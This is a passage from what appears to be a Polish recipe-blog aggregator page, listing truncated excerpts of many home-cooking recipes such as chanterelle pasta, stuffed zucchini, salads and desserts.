kawałki, ale niezbyt małe. Wymieszać z marynatą i odstawić do lodówki przynajmniej na kilka godzin, aby smaki przegryzły się. Wskazówka: jeśli oliwę z octem balsamicznym lekko ubijemy, to powstanie sos w formie emulsji, podobny konsystencją do majonezu. Jeśli lubicie paprykę, to może spróbujecie także: kremowej zupy z pieczonej papryki ... kaszy jaglanej z warzywami zapiekanej w papryce ... albo  paprykowych pulpetów

Codzienna kuchnia niecodzienna
Kurki w sosie śmietanowo - koperkowym z indykiem i makaronem 193

Sezon na kurki w pełni więc i my zaczęliśmy :-) Dzisiaj przepis na pyszny i szybki obiad z kurkami, indykiem i makaronem. To wszystko w sosie śmietanowym z koperkiem. Pysznie było, polecam Wam bardzo, ja już kupiłam kolejne opakowanie kurek :-). Miłego piątku kochani :-) Składniki na 3 porcje: 1 opakowanie kurek (około 350 g) 350 g fileta z indyka (może być kurczak

kruche babeczki
MAKARON CHOW MEIN ZE SZPINAKIEM I KURCZAKIEM 185

indyka. Doprawiam solą i pieprzem do smaku oraz przyprawą curry. Smażę na rumiano. Dodaję szpinak. Całość mieszam i dodaję pomidory z puszki. Doprawiam siekaną pietruszką, oregano oraz czosnkiem. Do sosu dodaję makaron, mieszam. Posypuję wierzch serem tartym cheddar

Gotowanie Patki
Czy grzyby są zdrowe?/Cukinia faszerowana kurkami i kaszą jaglaną 160

Zdejmij z patelni, dopraw solą i pieprzem, wymieszaj z kaszą jaglaną. Nafaszeruj cukinie i zapiekaj ok. 20 minut w 180 stopniach, aż cukinia będzie miękka. Podawaj np. z pomidorowym sosem. powiedz dietom nie http://www.powiedzdietomnie.pl/ Artykuł Czy grzyby są zdrowe?/Cukinia faszerowana kurkami i kaszą jaglaną pochodzi z serwisu powiedz dietom

Powiedz dietom nie
Praga – przewodnik kulinarny 224

Czechach ze smażonymi w głębokim tłuszczu grzankami (topinky). Z typowo czeskich smaków są oczywiście knedliczki, które mogą być ziemniaczane lub chlebowe. Najbardziej lubię te ziemniaczane, koniecznie z sosem warzywno-śmietanowym, który nazywa się svíčková omáčka i oczywiście z jakimś mięsem. Chyba nie przyjechaliście do Pragi, żeby schudnąć, prawda? Jeśli koniecznie się upieracie, że chcecie coś lżejszego, to w Pradze

Ugotowane pozamiatane
Jedzonko do pracy #59 1371

Moja dzisiejsza propozycja na jedzonko do pracy jest bardzo prosta i szybka, mam nadzieje ze się Wam spodoba ;) Śniadanie : Wrapy z jajkiem i awokado. Lunch : Pulpeciki cynamonowe w sosie pomidorowym z ryżem. Smacznego

Codzienne Gotowanie
GULASZ Z JELENIA (keto, LCHF, paleo, optymalny, bez glutenu) 239

dużym ogniu z każdej strony ok 4-5 minut. Gotować pod przykryciem. Nie ma konieczności podlewania wody ponieważ mięso wypuści soki, z których w połączeniu z tłuszczem powstanie gęsty sos. Obraną i pokrojoną w piórka cebulę oraz przeciśnięty przez praskę czosnek dołożyć do mięsa. Dodać przecież pomidorowy oraz wszystkie przyprawy poza rozmarynem. Dusić na małym ogniu

Ola la LCHF
PRZEPISY NA OBIAD DLA CAŁEJ RODZINY NA PONAD DWA TYGODNIE! 208

SPAGHETTI BOLOGNESE ŁOPATKA W CIEMNYM SOSIE.  PLACKI ZIEMNIACZANE MOJEJ BABCI PAELLA Z QUINONĄ, MAŁŻAMI I KREWETKAMI! GRILLOWANA RYBA Z MŁODĄ MARCHEWKĄ I SZPARAGAMI! SZYBKI OBIAD:PIECZONE WARZYWA Z MAKARONEM, SEREM FETA, PRAŻONYMI ORZECHAMI WŁOSKIMI I PASTĄ Z SUSZONYCH POMIDORÓW! MAKARON Z KURCZAKIEM PO WŁOSKU!  KROKIETY Z MIĘSEM. TAAAKIE PYSZNE! MAKARON ZE SZPINAKIEM PO WŁOSKU! MAKARON DRWALA OBIAD

SMYKWKUCHNI
Zupa z piersi kurczaka z zacierkami 221

brokuła i zamiast domowych kluseczek dałam kupne zacierki.  1 pierś z kurczaka mieszanka warzyw pociętych w drobne słupki [ u mnie mieszanka chińska] domowa vegeta sól, pieprz listek, ziele sos sojowy ciemny 2-3 łyżki koncentratu pomidorowego śmietana koperek zacierki  Pierś z kurczaka pokroić , wymieszać z przyprawami, odstawić na jakiś czas, aby mięsko przeszło aromatem przypraw.Do wody wrzucić warzywa

Moje domowe kucharzenie
Biszkoptowe ciasto z porzeczkami 171

galaretki, czy kisiel. Pyszne będą ciasta drożdżowe czy też ucierane, przepyszny też jest porzeczkowy sernik na zimno. Porzeczki możemy również zamknąć w słoikach, przygotujemy z nich galaretkę dżem,  sosy do mięs czy też nalewkę. Możliwości jest bez liku ! ------------------------------------------------------------- Biszkoptowe ciasto z porzeczkami Czas przygotowania: 60 minut Proporcje  na formę o wymiarach 25 x 25 cm Składniki: 4 jajka

Kulinarne przygody Gatity
Zwijane pizzerinki 524

Doskonała przekąska na imprezę, piknik czy wycieczkę. Świetnie smakują zarówno na ciepło od razu po wyjęciu z piekarnika jak również na zimno z dodatkiem keczupu czy sosu czosnkowego. Ciasto drożdżowe: 3 szkl mąki pszennej op. drożdży instant płaska łyżeczka cukru i soli jajko 2 łyżki oliwy z oliwek 1 szkl ciepłego mleka Nadzienie: 2 łyżki koncentratu pomidorowego 200 g startego

Smakołyki Asi
Proteinowa pizza bez sera z patelni 176

pierś kurczaka. Dodajemy przyprawy.  Po upływie czasu na rozgrzaną i natłuszczoną patelnię przelewamy masę na pizze. Smażymy z obu stron ok. 2-3 minut. Po usmażeniu wierzch smarujemy sosem z pomidora i piersi kurczaka. Smacznego

Truskawkowa Fiesta
Makaron udon z chilli i szpinakiem / Udon noodle salad with chilli and spinach 251

kolendry, liście i łodygi drobno posiekane 1 łyżka oleju roślinnego 2 łyżeczki sezamu, uprażonego na suchej patelni 1 limonka Składniki na dressing: 2 łyżeczki oleju sezamowego 2 łyżeczki ciemnego sosu sojowego sok z 1 limonki Przygotowanie: Ugotuj makaron zgodnie z instrukcją na opakowaniu, odcedź, przelej szybko zimną wodą, tak by pozostał jeszcze ciepły i przełóż do dużej miski. Wymieszaj wszystkie

karmelowy
49 przepisów z cukinią 275

najlepszych przepisy na moje ukochane warzywo! Pamiętajcie, że im mniejsza cukinia, tym smaczniejsza, ma mniej wody i pestek, można ją jeść na surowo! Botwinka z cukinią w delikatnym sosie   Bruschetta z cukinią i hokkaido Carpaccio z cukinii  Chrupiąca sałatka z soczystymi owocami, cukinią i sałatą lodową na ostro Cukinia w cieście naleśnikowym Cukinia z papryką i czosnkiem

Moja smaczna kuchnia
Sałatka wiosenna 254

Wiosenna sałatka to kolorowa sałatka, z kolorowych warzyw i aromatycznego sosu. Nazwałam ją wiosenną bo kojarzy mi się z początkiem wiosny i budzeniem się do życia form wszelakich. Polecam komponujcie swoje wersje sałatek bo to bardzo proste i pyszne wyzwanie. Sałatka wiosenna. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Taboule nie tylko do pracy 227

mieszkałam we Francji dokonałam wielu odkryć kulinarnych, które na stałe weszły do mojej codziennej kuchni. Zaraz obok tart, czy to słodkich czy wytrawnych oraz sosów na winie taką potrawą stało się taboule. Niby takie niepozorne danie, a jednak za każdym razem może smakować inaczej. Wszystko to kwesta dodatków. Dziś u mnie wersja cytrusowa, bardzo fajna i orzeźwiająca. Co prawda

Przysmaki Karolki
Kalafior po grecku (w sosie pomidorowym wraz z dodatkiem cynamonu) 203

ukrywam, że czasami najprostsze połączenia smaków są najlepsze, ale... dzisiaj zachęcam Was do przygotowania poniższego dania :) Kalafior po grecku to nic innego, jak duszone różyczki kalafiora w sosie pomidorowym wraz z dodatkiem cynamonu. Pomysł na smaczne i lekko rozgrzewające danie. Jeżeli Wasze posiłki muszą zawierać mięso to na sam koniec dodajcie, np. gotowaną i pokrojoną pierś z kurczaka

Ugotować
Soczewica czerwona z warzywami 196

Dzisiejszy obiadek wzorowany był na ostatnim moim wpisie ciecierzyca z warzywami w sosie pomidorowo-paprykowym . Przepis został trochę przerobiony pod względem tego co było w domu, a także smaku jaki chciałam osiągnąć. Z racji ciepłego ładnego dnia chciałam danie świeże, kwaskowe i lekkie i to udało mi się osiągnąć. Składniki: 200 g czerwonej soczewicy, 2 cukinie, 1 bakłażan, 1 papryka

Państwo Wojtczuk gotują
Burgery z kurczakiem i piklami 217

góry) przez około 10 minut.  W celu przygotowania ostrej wersji tych burgerów wystarczy dodać do marynaty (to jest do zalewy ze słoika z ogórkami) ostrego sosu (np. srirachy). 1 szklanka = 1 cup = 240 ml, 1 łyżka = 15 ml, 1 łyżeczka = 5 ml. Źródło przepisu: C incy Shopper

Gospodyni Miejska
Prosty i dietetyczny obiad – kurczak w sezamie z ostrymi ogórkami 291

następnie obtocz w sezamie. Rozgrzej olej na patelni i usmaż kurczaka na złoty kolor, tj około 2 minuty z każdej strony Ogórki Ogórki pokrój w grube plastry. Polej sosem przygotowanym z syropu, octu, ostrej papryki i soli. Dodaj drobno posiekaną cebulkę. Komosa Komosę przepłucz na gęstym sitku. Następnie zalej dwukrotnie większą ilością wody (2 szklanki wody na 1 szklankę komosy

Powiedz dietom nie
pierś z kurczaka nadziewana prosciutto i ricottą 292

rumiano z każdej strony, zamykając mięso. Podlać wszystko dobrym kieliszkiem białego wina i chochlą bulionu z kurczaka. Wrzucić gałązki tymianku, dusić pod przykryciem około 15 minut pilnując, żeby sos się nie wygotował, w razie potrzeby podlewając bulionem i winem

stajnia gołębie od kuchni
duszony kurczak z warzywami, na sposób włoski 257

Kolejny przepis wg. Gennaro Contaldo. Doskonałe, sycące, jednogarnkowe danie. Proste i szybkie w przygotowaniu – około godziny całej roboty. Z podanych ilości warzyw, spokojnie starczy sosu na 4 osoby, czyli 4 podudzia z kurczaka. W razie potrzeb, trzeba zmieniać proporcje. Składniki: podudzia z kurczaka – po jednym na dorosłą osobę 2 marchewki 1 cebula 1 czerwona papryka kilka pomidorków koktajlowych

stajnia gołębie od kuchni
Szaszłyki na grilla z kiełbasą i śliwką w boczku. 506

laski cienkiej kiełbasy - kilkanaście plasterków surowego boczku - kilkanaście suszonych śliwek ( u mnie  śliwki kalifornijskie HELIO natura ) - 2-3 cebule - papryka ( dałam żółtą ) - kilka pomidorków koktajlowych Dodatkowo - ulubione sosy  ( u mnie FANEX barbecue, garlic i orientalny ) - patyczki do szaszłyków i opcjonalnie tacki na grilla Wykonanie Kiełbasę, paprykę, cebulę kroję w mniej więcej jednakowe kawałki. Śliwki owijam plasterkami boczku. Patyczki

Kuchnia z widokiem na ogród
Karkówka pieczona w ketchupie - idealna na obiad 313

Witajcie ! Dziś przychodzę do was z pysznym pomysłem na obiad! Jest to karkówka pieczona w sosie powstałym z ketchupu, podana z ziemniakami i do tego sałata ze śmietaną! Trochę czasochłonne ze względu na to, że karkówka wymaga czasu by ją upiec. Ale za to jej smak jest nieziemski! Myślę, że zasmakuje każdemu, kto lubi karkówkę. Spróbujcie koniecznie :) Składniki

Gotuj z Mąką
Flan z quinoy z sosem jagodowym (bez glutenu, bez laktozy, organiczny) 160

silikonowych foremek na babeczki i odstawiamy do schłodzenia.  Jagody dusimy chwilę z odrobiną wody i miodem. Gdy deser ostygnie i zgęstnieje wyjmujemy go z foremek i podajemy z sosem jagodowym.  Życzę smacznego i miłej niedzieli

Quinoa Raz!
Kopytka z bobu 222

dobrej jakości białko, które odżywi nasze organizmy. Jak widać, warto włączyć je do diety! Z czym podawać? Ja posiekałem pomidory suszone i to mi wystarczyło, ale świetnie sprawdzi się sos koperkowy, miętowy lub jakiś gulasz. Co jeszcze pełnowartościowego można zrobić na obiad z bobu? Polecam sałatkę z bobem oraz pierogi z bobem . Jeśli lubisz bób, to z pewnością je pokochasz

Blendman
Przepis #7 Makaron gryczany w sosie porowo- marchewkowym 212

łyżki śmietany (takiej jak do zupy) i zagotowujemy. Aby, danie było gęstsze dodajemy łyżkę mąki i ponownie doprowadzamy do wrzenia. W międzyczasie gotujemy makaron według przepisu. Makaron polewamy sosem i można jeść;) Smacznego

Health-Fit-Life
Przepis #23 Babka z brokułem w środku 144

oraz kawałki mozarelli.  Całość przykrywamy drugą częścią ciasta.  Pieczemy w piekarniku przez nastepne 15 - 20 minut w temperaturze 160 stopni.  Babkę można podawać na przykład z sosem czosnkowym lub tzatziki - świetnie uzupełnią naszą potrawę. Danie jest bardzo delikatne w smaku oraz kruche. Najlepiej smakuje na ciepło. Smacznego

Health-Fit-Life
Letnie przebudzenie – kawa daktylowo bananowa 204

świeże daktyle 100 ml wystudzonej kawy – u mnie przygotowanej z 1 łyżeczki mielonych ziaren kawy Coffee Nation 150 ml ziemnego (!) mleka 1 mały banan 1 czubata łyżeczka kakao* sos czekoladowy i bita śmietana *u mnie z eSłoneczko Przygotowanie: Kawę zaparzamy i studzimy – ja użyłam jednej łyżeczki zmielonej kawy, ale możecie ją dowolnie zaparzyć (może być mocniejsza). Daktyle pozbawiamy

Słodkie okruszki
Kotlety sojowe w zalewie octowej 494

jest w procesie fermentacji cukru. Doskonale sprawdza się jako środek zakwaszający, poprawiający walory smakowe i konserwujący. Może być stosowany do marynat, dań z ryb, sałatek, zup, przetworów owocowo-warzywnych, sosów oraz domowego zakwaszania mleka i śmietany. Jest odpowiedni dla wegetarian oraz osób dbających o zdrowie. W rozcieńczeniu z wodą w stosunku 1:1 odpowiada zakwaszeniu octem

Di gotuje
Egzotyczny serniczek z ricotty 263

Składniki: 500 g serka ricotta 300 ml sosu waniliowego (można zastąpić np. jogurtem) 1 cukier waniliowy 3 płaskie łyżki żelatyny 1/2 szklanki mleka galaretka 1 mango 4 nektarynki ciastka Przygotowanie: … Czytaj dalej Egzotyczny serniczek z ricotty

czarrna od kuchni
Makaron z pesto z botwinki 227

talerze. Gotowe danie posypać startym parmezanem, pokrojonym w kostkę pomidorem lub (i) czarnym sezamem. * Do przygotowania pesto użyłam takiego malaksera KLIK , świetnie sprawdza się również przy przygotowywaniu tahini i sosów do sałatek.  (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Mini tosty w stylu Caprese 277

miejsce na kanapkę i zapiekamy. 4. Na wykałaczki nabijamy listek bazylii, pół pomidorka koktajlowego i po dwa mini tosty z mozzarallą. 5. Podajemy same, z salsą pomidorową lub ulubionym sosem. Smacznego

Podwójnaporcja
SŁODKI DESER Z GALARETKAMI, OWOCAMI I MASCARPONE 244

drobne kawałki truskawki, wszystko wymieszać (w razie potrzeby dosłodzić cukrem pudrem).  W naczynia, pomiędzy galaretki nakładać masę z mascarpone. Udekorować truskawkami (ja dodatkowo polałam na wierzch odrobinę sosu truskawkowego i posypałam startą czekoladą). Przepis bierze udział w cotygodniowym wydarzeniu  "Błyskawiczny piątek" , do którego zapraszam każdego

Zrób to smacznie
Kurczak zawinięty ze szpinakiem... 149

st.C / 80 min.  Ostatnie 10 minut bez przykrycia. Jak się upiecze wyłączamy piekarnik i wyjmujemy po 10-15 min.  Tłuszcz odlewamy na potem ...będzie na  sos lub do zupy... kurczaka porcjujemy i serwujemy :)  Jeśli okaże się, że zjedliśmy tylko skrzydełka i udka, to z piersi możemy jeszcze coś przygotować. Robimy ciasto naleśnikowe, smażymy blade placki

chleba naszego
Dorsz w pomidorach z marchewką 203

chcą poczuć autentyczny smak niewielu składników. Błyskawiczna przekąska na śniadanie lub na nagły napad głodu, można pasteryzować w słoiczkach, przechowując potem w lodówce. Składniki filety z dorsza (ile chcesz) sos pomidorowy w butelce marchewka olej kokosowy  do smażenia pieprz ziołowy sól himalajska drobnoziarnista różowa Marchewkę umyj, obierz i zetrzyj na dużych oczkach. Filety pokrój w kawałki. Na patelni rozgrzej

Z Kuchni Do Kuchni
Filet z kurczaka w sosie pomidorowo-pikantnym z ryżem 412

Kolejna propozycja na obiad to filet z kurczaka w sosie pomidorowo-pikantnym z papryką czerwoną oraz papryczką pepperoni. Z dodatkiem ryżu smakuje wybornie ! Składniki: 1 połowa fileta z kurczaka 1 czerwona papryka 1 połowa średniej cebuli 1/3 papryczki pepperoni bez nasion 500 g przecieru pomidorowego sól pieprz przyprawa do kurczaka 1 torebka ryżu oliwa Przygotowanie: Fileta z kurczaka myjemy, osuszamy

Gotuj z Mąką
Schab na chleb, pieczony w rękawie foliowym 203

Pyszny schab na chlebek czy bułeczki. Idealny również podany z sosami tj. czosnkowy, chrzanowy czy tatarski. Schab umyć i osuszyć. Doprawić wszystkimi przyprawami. Włożyć schab do foliowego rękawa do pieczenia. Wlać olej, zamknąć szczelnie rękaw. Mocno potrząsnąć, żeby schab pokrył się olejem z przyprawami. Tak przygotowany schab włożyć do lodówki na całą noc. Pieczenie – piekarnik nagrzać

Kuchnia Pokoleń
Kotlety ziemniaczane z farszem 238

zrobiłam kotlety z takim właśnie farszem. Użyłam ok. 1/2 kg pieczarek które przesmażyłam z cebulą, zmiksowałam, doprawiłam do smaku solą, pieprzem i majerankiem. Z nadmiaru grzybów zrobiłam sos pieczarkowy .                          Wyszło mi 7 sporych kotletów i to bezmięsnych

Proste Potrawy
Skrzydełka smażone 182

ryżem, ziemniakami, kaszą lub jako samodzielna przekąska. Na blogu w zakładce MIĘSA znajdziecie mnóstwo przepisów na różne dania z mięsem w roli głównej. Polecam również przepis na skrzydełka w sosie barbecue Składniki 12 skrzydełek z kurczaka 1 szklanka mąki pszennej 3 płaskie łyżeczki soli 1 łyżeczka tymianku 1 łyżeczka oregano 3 łyżeczki pieprzu ziołowego 1 łyżeczka gorczycy 4 łyżeczki słodkiej

O kuchni z uczuciem
SANDWICH Z KARMELIZOWANYMI WARZYWAMI NA SYROPIE KLONOWYM, ORIENTALNYM KURCZAKIEM Z SEZAMEM I GRANATEM! OPTYMALNY PIKNIK! 164

aromatyczna przyprawa, idealna do kurczaka, dodatkowo dodałam sporą ilość białego sezamu. Ale dobry sandwich musi zawierać coś jeszcze! Nie może zabraknąć elementu, który nada mu niesamowitą kremowość, niczym najlepszy sos, dlatego użyłam bardzo dojrzałego awokado, do tego dużej ilości ziół i świeżej pietruszki, a całość zwieńczyły chrupiące ziarenka granata. Bo w każdym posiłku musi coś chrupać! Także zapraszam

SMYKWKUCHNI
Meksykański torcik z tortilli 175

siekamy. Oba składniki podsmażamy chwilkę na oleju, następnie dodajemy mięso mielone. Smażymy następne kilka minut, po czym dodajemy paprykę pokrojoną w kostkę i pomidory z puszki. Całość dusimy, aż sos z pomidorów się nieco zredukuje. Pod koniec dodajemy pokrojone oliwki i przyprawiamy do smaku. W okrągłym naczyniu żaroodpornym albo tortownicy na spodzie układamy placek tortilli, na niego nakładamy 1/3 mieszanki

e-PrzepisyKulinarne
Szybkie soczyste kawałki kurczaka. Obiad w kilka chwil. 452

większą) lub paseczki. Podsmażamy na oleju ryżowym, doprawiamy przyprawą do kurczaka i czubatą łyżką suszonej bazylii, mieszamy. Następnie dusimy chwilę pod przykryciem (powinniśmy uzyskać niewielką ilość „a la sosu”), po czym dodajemy czubatą łyżkę masła GHEE – doskonale wzbogaca smak mięsa, mieszamy chwilę dusimy. Dolewamy wody i dusimy całość pod przykryciem aż do miękkości. Tak przygotowanego kurczaka podajemy

Słodkie okruszki
Kurczak w sosie z bobem 173

razem włożyłam go na talerz razem z kurczakiem. Efekt wyszedł znakomity więc polecam serdecznie do spróbowania. Mięciutki, aromatyczny bób i kurczak z chrupiącą skórką, to obiad znakomity. Kurczak w sosie z bobem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Gulasz z dynią i czarnuszką 184

oraz witamin z grupy B, wapnia, magnezu, żelaza, sodu, potasu, selenu oraz cynku. Czarnuszka może mieć szerokie zastosowanie w kuchni, możemy ją dodawać do sałatek, past, gulaszu, zup, sosów lub do domowego pieczywa. Oprócz walorów zdrowotnych i smakowych  dodaje potrawom atrakcyjnego wyglądu. Polecam! Gulasz z dynią i czarnuszką Składniki na 4 porcje: 600g mięsa gulaszowego (wołowego lub wieprzowego

Smak mojej kuchni
Bułki z mięsem, bakłażanem i cukinią 153

paluchów, które będą nadziane mięsem. Ale mięso mogłoby być zbyt ciężkie, dlatego dorzuciłam do niego warzywa. I tak powstały bułki mięsne ale dużo lżejsze. Nadają się na obiad z sosem lub jakimś barszczem, chłodnikiem. Świetnie sprawdzą się do grilla czy na pikniku. Do zapakowania na rodzinną wycieczkę. Będą doskonałe zarówno w sezonie chłodniejszym, jak i teraz. Dobrze smakują zarówno

Mieszam w Garnku
Sałatka z kapusty pekińskiej z mandarynkami 223

jogurtu naturalnego 100 g kremówki 2 łyżki octu winnego 3-4 tosty pszenne sól, pieprz cukier Mandarynki osączamy z zalewy. Jogurt, kremówkę oraz ocet winny ucieramy na gładki sos. Doprawiamy solą, pieprzem oraz szczyptą cukru. Odkładamy do lodówki. Umyte i osuszone ręcznikiem papierowym mięso kroimy w paski. Na patelni rozgrzewamy 2-3 łyżki oleju. Smażymy na złoty kolor. Pod koniec

Smaki Na Talerzu
Sałatka brokułowa z fetą i pomidorami 1480

kubeczku mieszamy śmietanę z majonezem i wyciśniętym czosnkiem, doprawiamy solą, ja doprawiam trochę mocniej bo warzywa nie solone, dodajemy też szczyptę cukru do smaku i polewamy sałatkę naszym sosem

KUCHNIA POLSKA
Koktajl quinoa + rabarbar + banan 211

zapas musu z rabarbaru, robię go w bardzo prosty sposób. wystarczy poddusić rabarbar z odrobiną wody, aż zmięknie, a następnie przestudzić i starannie zblendować. dodaję go później do koktajli, sosów sałatkowych, ciast, albo przerabiam na galaretkę i kisiel. Dzisiaj zrobiłam z nim proste smoothie zdodatkiem quinoy i banana. :) Składniki: 4 łyżki ugotowanej białej quinoy 5 łyżek musu z rabarbaru

Quinoa Raz!
KARKÓWKA Z GRILLA 229

pierwszej strony trzymamy mięsko tak długo,aż brzegi po jednej stronie zrobią się białe,przewracamy na drugą stronę i czekamy aż mięsko się dopiecze. Karkówka najlepiej smakuje z sosem czosnkowym i sałatką z pomidorów. Przyprawa grill ognisty Galeo przypadła nam do gustu,gdyż jest bardzo wyrazista.Polecam Wam serdecznie

Niespełnione zdolności kulinarne
Zapiekanka ziemniaczana z gorgonzolą, szpinakiem i boczkiem / Bacon, spinach and gorgonzola potato gratin 290

Dziś przedstawiam kolejną propozycję na doskonały dodatek d każdego dania głównego. Pyszna zapiekanka ziemniaczana ze szpinakiem i boczkiem w sosie śmietanowym z dodatkiem gorgonzoli, zapieczona pod warstwą parmezanu. Bardzo łatwa w przygotowaniu, a na pewno posmakuje całej rodzinie. Jest świetna do dań mięsnych jak i rybnych, chociaż resztki zjadłam zupełnie bez niczego i też byłam zachwycona. Znalazłam ten przepis

karmelowy
ZAPIEKANKA Z KASZY GRYCZANEJ, TWAROGU I CUKINII 235

pieprzem i solą. Wszystko dokładnie mieszamy. Tak przygotowaną masę wkładamy do wysmarowanego tłuszczem naczynia żaroodpornego. Wstawiamy do nagrzanego piekarnika i zapiekamy około 30 minut w 180 stopniach. Składniki na sos:   jogurt naturalny, ząbek czosnku, posiekany koperek, sól i pieprz do smaku Kapary do dekoracji i przekąszenia ;) Smacznego

wege i kropka
NALEŚNIKI Z RUKOLĄ 376

żołądkowe. Dziś wielu lekarzy zaleca regularną konsumpcję rukoli by dopomóc w regulacji procesów trawiennych, zwalczać nadkwasotę, wrzody żołądka, wzdęcia itd. Ma szerokie zastosowanie - nadaje się do wszelkich sałatek, twarogu, sosów, makaronów... Można ją spożywać zarówno na ciepło jak i na zimno, a poniżej moja propozycja: Korzystamy ze standardowego przepisu na naleśniki - z dodatkiem soli, kolorowego pieprzu oraz tymianku (lub innej

wege i kropka
MAKARON W SOSIE PAPRYKOWO-BATATOWYM 210

cebulę. Łączymy cebulę z upieczoną papryką i batatem, a następnie miksujemy wszystko za pomocą blendera. Podgrzewamy doprawiając do smaku czosnkiem, curry, solą i pieprzem kolorowym oraz cayenne. Tak przygotowany sos jest dość słodki, dlatego warto go przełamać kilkoma kroplami cytryny. Dekorujemy na przykład rozmarynem :) Smacznego

wege i kropka
POTRAWKA Z KASZY, ŁOSOSIA I BROKUŁA 219

Podobne danie już prezentowałam Wam na blogu  Makaron z łososiem w sosie śmietanowo brokułowym . Wystarczy zamiana makaronu na kaszę, bez śmietanki i wychodzi nam pyszna potrawka na kolację :) Składniki: -60 g kaszy gryczanej -60 g łososia wędzonego -100 g brokuła+opcjonalnie łyżeczka jogurtu Przygotowanie: 1. Gotujemy kaszę. 2. Brokuła blanszujemy w gotującej wodzie do miękkości i studzimy. Następnie wrzucamy

Zdrowie i pysznie na talerzu
salatka jarzynowa z kasza jaglana 184

ugotowane jajka puszka kukurydzy konserwowej majonez jogurt grecki sól, pieprz do smaku Wykonanie Wszystkie składniki pokroić w kostkę . Majonez , jogurt mieszamy doprawiamy do smaku pieprzem i solą .Całość sosu mieszamy z warzywami z kasza jaglana .Pozostawiamy na około 30 minut do przegryzienia smaków. Smacznego

w mojej kuchni
Żółta cukinia faszerowana mięsem mielonym i pieczarkami 294

lekki obiad - pieczona cukinia nafaszerowana mięsem mielonym z indyka, pieczarkami i startym serem mozzarella. Farsz nie będzie suchy, ponieważ dodałam do niego świeże pomidory, które podczas smażenia utworzyły aromatyczny sos pomidorowy.    Składniki na 2-3 porcje: 250 g mięsa mielonego z indyka 2-3 małe pomidory 1 mała cebula 3 duże pieczarki sól, pieprz tymianek przyprawa pomidory suszone

Ugotować
Bataty faszerowane serem i pieczarkami 219

Bataty zapiekane z serami (mozzarellą i rougette) oraz pieczarkami. Polecam podawać z ulubionym sosem czosnkowym, przygotowanym na bazie jogurtu lub śmietany. Bataty przekroić wzdłuż na pół. Ułożyć w formie wyłożonej

Bullio
Delikatne knedle twarogowe z truskawkami 183

nieco popularne leniwe, ale z niespodzianką w środku w postaci truskawki. Taka mała, słodka zaskoczka Knedle jak to knedle, możecie jeść z bułką zrumienioną na maśle, ze śmietaną czy sosem jogurtowo-owocowym. Spróbujcie koniecznie tego ciasta! Jest zdecydowanie lżejsze, niż tradycyjne ciasto na knedle na bazie ziemniaków, ale równie sycące. Dla wszystkich miłośników wyrobów na bazie sera w tym szczególności

Mieszam w Garnku
PRZEPIS NA ZURYSKI TORT PARAFIALNY i FOTORELACJA Z WARSZTATÓW 190

smaków i aromatów kuchni szwajcarskiej. Było smacznie, miło i gwarnie. Kuchni jest dość prosta, a zarazem bardzo smaczna. Czyli tak jak lubię najbardziej! Podczas wydarzenia przygotowaliśmy m.in.: - kotleciki w sosie miodowo-musztardowym - szwajcarską sałatkę ziemniaczaną - zuryski tort parafialny PRZEPIS NA ZURYSKI TORT PARAFIALNY - 300g mąki pszennej - 200g masła - 100g cukru - 1 jajo, szczypta soli Nadzienie: - 2 jabłka - 50 g cukru

SMYKWKUCHNI
Wielka księga słoików 186

zatrzymać na zimę. O tyle inna od pozostałych, że dotyczy głównie marynowania, więc wspaniale się z nimi uzupełnia. Znajdziecie w niej ponad 250 przepisów na przetwory z warzyw, owoców, sosy, czatneje i relisze. O ogórkach konserwowych i marynowanej cukinii nie trzeba nikomu wspominać, ale już marynowane w przyprawach korzennych buraki, pikantna fasolka szparagowa, jałowcowa cebula w ginie, grzyby z fenkułem

GRUBY WAŁEK
Burgery z bobu 182

smaku - olej - ulubione dodatki, u mnie: sałata, pomidor, czerwona papryka, rzodkiewka, awokado i ogórek małosolny (jeśli chcesz dowiedzieć się jak przygotować domowe ogórki małosolne koniecznie kliknij TUTAJ ). - ulubione sosy: u mnie  lekki dip czosnkowy . 1. Bób płuczemy, a następnie gotujemy w osolonej wodzie przez ok. 20 minut. 2. W tym czasie na suchej patelni prażymy ziarna słonecznika do zrumienienia

Bez Cebuli
Cytrynada 221

Ponadto uprawy cytryn spotkamy także w Meksyku, Stanach Zjednoczonych i Afryce Południowej. Cytryna w kuchni towarzyszy nam praktycznie codziennie. Sięgamy po nią w okresie przeziębień. Używamy jej do marynat, sosów, ciast, lodów, deserów. Sok z cytryny to także kluczowy składnik lemoniady oraz wielu drinków i koktajli. Można ją kisić, peklować i mrozić. Jest to owoc o najbardziej wszechstronnym wykorzystaniu

mojewypiekiinietylko
Sałatka makaronowa z ogórkiem, kukurydzą konserwową, prażonymi ziarnami słonecznika i sezamu. 256

gotujemy w osolonej wodzie. Ogórka obieramy i kroimy w drobną kostkę. Kukurydzę odsączamy z zalewy. Makaron, ogórki, kukurydzę mieszamy. Czosnek przeciskamy przez praskę. Czosnek, jogurt i majonez łączymy. Sos solimy oraz pieprzymy do smaku i łączymy z warzywami. Na patelni prażymy słonecznik i sezam. Ziarna studzimy i dodajemy do sałatki. Smacznego

Smak mojego domu
surówka z kalarepy .marchewki .jabłko 147

okresie młodych warzyw .zrobienie z nich surówki to samo zdrowie..Polecam surówkę z kalarepy 🙂 składniki: 1 średnia kalarepa 1 duża marchewka 1 duże jabłko składniki na sos: 1 jogurt grecki sok z 1/2 cytryny sól.pieprz.cukier Wykonanie: Warzywa ścieramy na tarce o grubych oczkach..Do jogurtu dodajemy sok z cytryny .pieprz sól oraz cukier..musimy uzyskać smak

Ugotujmy Coś
Tagliatelle w sosie śmietanowo-brokułowym 301

ulubionych makaronowych dań naszej rodziny. Na szczęście nie muszę dzieciom przemycać brokuła, bo jest on u nas w pełni akceptowanym warzywem i jest chętnie […] Artykuł Tagliatelle w sosie śmietanowo-brokułowym pochodzi z serwisu Wiszniówka

Wiszniówka
WARSTWOWE KOKO SERNICZKI NA ZIMNO (keto, LCHF, paleo, optymalne, bez glutenu, laktozy, jajek i cukru) 232

zmiksowane truskawki (lub inne owoce). Całość zagotować o lekko przestudzić a następnie wylać do foremek/formy i wstawić do lodówki na ok 4-5 godzin. Deser można podawać z sosem owocowym lub czekoladowym, bitą śmietaną, kawałkami owoców, wiórkami czekoladowymi itp. — BTW całości bez słodzików i dodatków: 940 g, 1651 kcal

Ola la LCHF
Filet z kurczaka zapiekany w warzywach 247

